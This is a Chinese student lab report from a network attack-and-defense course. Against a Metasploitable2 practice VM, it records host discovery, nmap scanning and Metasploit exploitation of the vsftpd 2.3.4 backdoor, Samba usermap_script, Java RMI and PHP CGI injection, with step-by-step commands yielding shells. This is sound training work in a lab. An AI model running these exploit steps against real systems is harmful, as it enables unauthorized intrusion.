20222409 2024-2025-1 《网络与系统攻防技术》实验六实验报告
1.实验内容
1.1 本周学习内容
- 学习了Metasploit渗透测试框架的使用方法,重点掌握了从搜索模块到执行攻击的完整流程。在实验中熟悉了标准操作步骤,如搜索模块、加载模块、设置参数和运行攻击。
- 实验中实践了下列典型漏洞:Vsftpd后门漏洞、Samba命令注入漏洞、Java RMI命令执行漏洞和PHP CGI参数注入漏洞。通过具体操作理解了这些漏洞的后门代码的触发方式。
- 通过Metasploit的模块化功能,学习了如何使用扫描模块进行主机发现和端口扫描,以及利用模块进行漏洞攻击。
1.2 实践内容
1.2.1 前期渗透
1.2.1.1 主机发现
可用Aux中的arp_sweep
模块,search一下就可以use,通过扫描发现主机。
1.2.1.2 端口扫描
可以直接用nmap
,也可以用Aux中的portscan/tcp
等进行端口扫描。
1.2.1.3 系统版本与漏洞扫描(选做)
可以扫描靶机的系统版本、漏洞等
1.2.2 Vsftpd源码包后门漏洞(21端口)
在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃“为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
1.2.3 Samba MS-RPC Shell命令注入漏洞(139端口)
Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
1.2.4 Java RMI SERVER命令执行漏洞(1099端口)
Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
1.2.5 PHP CGI参数执行注入漏洞(80端口)
CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
2.实验过程
由图1可知攻击机Kali的ip为:192.168.222.130
由图2可知靶机Metasploitable2的ip为:192.168.222.140
图1:
图2:
2.1 前期渗透
2.1.1 主机发现
主机发现是渗透测试的第一步,其目标是通过网络扫描找出靶机的IP地址。在本次实验中,我们使用Metasploit的辅助模块arp_sweep进行局域网扫描,同时确保能够高效识别靶机的存在。
先在在Kali终端中,执行ping命令确认靶机在线。随后按照以下操作步骤进行实验:
- 启动Metasploit框架
随后,在root权限下启动metasploit
msfconsole
- 搜索主机发现并加载模块
使用以下命令在Metasploit中搜索与主机发现相关的模块:
search arp_sweep
注意要选择模块为auxiliary/scanner/discovery/arp_sweep
由于序号正好是0,我们直接输入use 0
即可加载模块
use 0
结果如图3所示
图3:
- 设置参数
set RHOSTS 192.168.222.0/24 # 扫描整个局域网
set THREADS 10 # 提高扫描速度
- 运行模块
run
运行结果如图4所示
图4
扫描结果表明靶机(192.168.222.140)在线,网络连接正常,并与攻击机(192.168.222.130)处于同一子网内。而其他响应的IP(如192.168.222.1、192.168.222.2、192.168.222.254)可能是虚拟网络环境的网关或管理地址,但与这次攻击关系不大。
2.1.2 端口扫描
完成主机发现后,需要进一步探测靶机开放的服务端口,以确定可能的攻击向量。
2.1.2.1 使用nmap进行端口扫描
- 执行扫描
在Kali终端中运行以下命令:
nmap -sS -sV 192.168.222.140
参数解释:
- -sS(SYN扫描):使用半开连接(SYN)方法探测端口状态,具有速度快且隐蔽性高的特点。
- -sV(服务版本探测):识别开放端口上运行的服务类型和版本号。
- 分析扫描结果``
扫描结果如图5所示
图5:
通过扫描,成功识别靶机开放的端口、服务及版本信息
2.1.2.2 使用Metasploit的portscan/tcp模块
- 加载模块
在msfconsole中输入以下命令,加载portscan/tcp模块:
use auxiliary/scanner/portscan/tcp
- 设置目标参数
配置扫描的目标IP地址和并发线程数:
set RHOSTS 192.168.222.140 # 靶机ip
set THREADS 10 # 扫描线程数
- 运行扫描
run
扫描结果如图6所示。
图6:
通过Metasploit的portscan/tcp模块扫描,成功识别了靶机192.168.222.140开放的TCP端口。
2.1.3 系统版本与漏洞扫描(选做)
在前期渗透的主机发现和端口扫描阶段,我们已经识别了靶机的IP地址(192.168.222.140)和开放端口(21、80、139等)。为了进一步明确靶机的系统环境与可能存在的漏洞,需要探测其操作系统版本和服务版本,并评估潜在的安全漏洞。
- 运行nmap命令
在Kali终端中输入以下命令,针对靶机(IP地址:192.168.222.140)进行扫描:
nmap -O -sV --script vuln 192.168.222.140
参数说明:
- -O:识别靶机运行的操作系统版本。
- -sV:获取每个开放端口上运行服务的详细版本信息。
- --script vuln:调用nmap的漏洞检测脚本,识别可能存在的安全漏洞。
- 分析漏洞信息
图7为扫描结果总览及21号端口信息。
图7:
从图7中的从扫描结果可以看出,靶机的 FTP 服务(21端口) 使用的是 vsftpd 2.3.4,该版本存在已知的后门漏洞(CVE-2011-2523)。
图8为80端口信息
图8:
从图8中的从扫描结果可以看出80端口运行的是 Apache httpd 2.2.8,存在多个高危漏洞(远程代码执行和路径遍历),并暴露了敏感目录和文件(/phpinfo.php 和 /phpMyAdmin)。
图9为1099端口信息
图9:
从图9中的从扫描结果可以看出1099端口的 Java RMI 服务存在默认配置漏洞,可通过 Metasploit 模块 java_rmi_server 利用。
2.2 Vsftpd源码包后门漏洞(21端口)
Vsftpd(Very Secure FTP Daemon)是一款流行的FTP服务器软件。然而,2.3.4版本中被植入了恶意后门代码,当用户名以: )结尾时,服务会在6200端口打开一个反向Shell,攻击者可以利用此漏洞执行任意命令。本次实验通过Metasploit对该漏洞进行利用。
2.2.1 确认靶机端口开放
使用以下命令扫描靶机的21端口,确认FTP服务开启,运行的是vsftpd 2.3.4版本,结果如图10所示。
nmap -sV -p 21 192.168.222.140
图10:
2.2.2 启动Metasploit框架
msfconsole
2.2.3 搜索并加载漏洞模块
- 搜索vsftpd 2.3.4漏洞模块:
search vsftpd
- 加载模块:
use exploit/unix/ftp/vsftpd_234_backdoor # 也可以用use 1
2.2.4 配置攻击参数
- 设置靶机IP地址:
set RHOST 192.168.222.140
- 设置靶机端口
保持默认值21 - 检查配置是否正确:
show options
正确的配置如图11。
图11:
2.2.5 执行攻击
run
攻击结果如图11所示
图11:
可见,成功利用vsftpd 2.3.4后门漏洞在靶机上获得了root权限,并通过反向Shell(uname –a
、pwd
、id
等命令)验证了系统信息。
2.3 Samba MS-RPC Shell命令注入漏洞(139端口)
Samba是一个广泛使用的文件共享服务,在特定配置下,Samba服务中的usermap_script功能存在代码注入漏洞,攻击者可利用该漏洞以nobody用户的权限执行任意命令。
本模块演示如何利用Samba的usermap_script漏洞获取靶机的访问权限。
2.3.1 使用nmap确认靶机的139端口是否开放
nmap -p 139 192.168.222.140
图12:
由图12可知,靶机192.168.222.140的139端口开放,有运行NetBIOS相关服务。
2.3.2 选择漏洞模块
在Kali的Metasploit框架中加载usermap_script漏洞模块:
use exploit/multi/samba/usermap_script
2.3.3 配置模块参数
- 设置靶机的IP地址:
set RHOSTS 192.168.222.140
-
设置靶机的端口号
默认139端口即可, 无需修改 -
检查配置是否正确
show options
正确的配置如图13:
图13:
2.3.4 执行攻击
run
图14:
通过使用uname -a
检验,可见,成功利用 Samba 的 usermap_script 漏洞获取了靶机的交互式 Shell,运行命令验证显示靶机操作系统为 Linux 2.6.24,标识为 Metasploitable2。
2.4 Java RMI SERVER命令执行漏洞(1099端口)
Java RMI(Remote Method Invocation)默认配置中存在安全漏洞,攻击者可以通过恶意输入远程执行任意代码。本模块演示如何利用该漏洞获取靶机权限。
2.4.1 确认1099端口开放
使用nmap扫描靶机,确认1099端口是否开放:
nmap -p 1099 192.168.222.140
图15:
由图15可知靶机192.168.222.140的1099端口运行开放rmiregistry服务,可以利用Java RMI相关漏洞进行进一步渗透。
2.4.2 选择漏洞模块
在Metasploit中加载java_rmi_server漏洞模块:
use exploit/multi/misc/java_rmi_server
2.4.3 设置模块参数
- 设置靶机的IP地址:
set RHOSTS 192.168.222.140
- 设置靶机的端口号
set RPORT 1099
- 检查配置是否正确
show options
正确的配置如图16:
图16:
2.4.4 执行攻击
run
图17:
通过使用whoami
检验,可见,成功利用java_rmi_server漏洞(1099端口)获得靶机的meterpreter会话,并在Shell中确认权限(当前用户为root)。
2.5 PHP CGI参数执行注入漏洞(80端口)
PHP是一种流行的服务器端脚本语言,在使用CGI(Common Gateway Interface)模式时,某些PHP版本存在参数处理漏洞,攻击者可以通过特制的HTTP请求注入恶意命令并远程执行。
本模块演示如何利用该漏洞,通过Metasploit框架对靶机上的PHP CGI服务进行攻击,获得系统访问权限。
2.5.1 确认Web服务状态
使用nmap扫描靶机,确认80端口是否开放并运行Web服务:
nmap -p 80 192.168.222.140
图18:
扫描结果显示靶机 192.168.222.140 的 HTTP 服务(80端口)处于开放状态,可继续进行漏洞利用测试。
2.5.2 选择漏洞模块
在Metasploit中加载PHP CGI参数注入漏洞模块:
use exploit/multi/http/php_cgi_arg_injection
2.5.3 设置模块参数
- 设置靶机的IP地址:
set RHOSTS 192.168.222.140
- 设置靶机的端口号
set RPORT 80
- 根据靶机配置设置URL路径
set TARGETURI /cgi-bin/php
- 检查配置是否正确
show options
正确的配置如图19:
图19:
2.5.4 启动攻击
run
图20:
通过使用whoami
、id
、uname -a
检验,可见,利用php_cgi_arg_injection漏洞成功攻击靶机 192.168.222.140,获得 meterpreter 会话并以用户 www-data 权限访问系统。
3.问题及解决方案
本次实验较为按部就班,硬要说问题的话,就是以下几个
- 问题1:2.3部分,run之后,一直没有获取shell的提示或人机交互
- 问题1解决方案:纯人机交互做的不好,获取已经成功了没提示,以为还在加载,其实直接输入uname -a即可
- 问题2:2.4部分,用whoami未成功,如图21
图21: - 问题2解决方案:先输入shell,再输入whoami即可
4.学习感悟、思考等
通过本次实验,我熟悉了Metasploit框架的基本使用方法,掌握了从信息收集到漏洞利用的完整渗透流程(msfconsole -> search xxx -> use x -> set rhost,set rport -> show options -> run)。实践过程中,通过手动攻击Vsftpd后门、Samba命令注入等典型漏洞,我了解了漏洞产生的原理,深刻体会到系统安全配置的重要性。这次实验让我对网络攻防的技术和思维方式有了更直观的理解,同时也激发了我对网络安全领域的浓厚兴趣。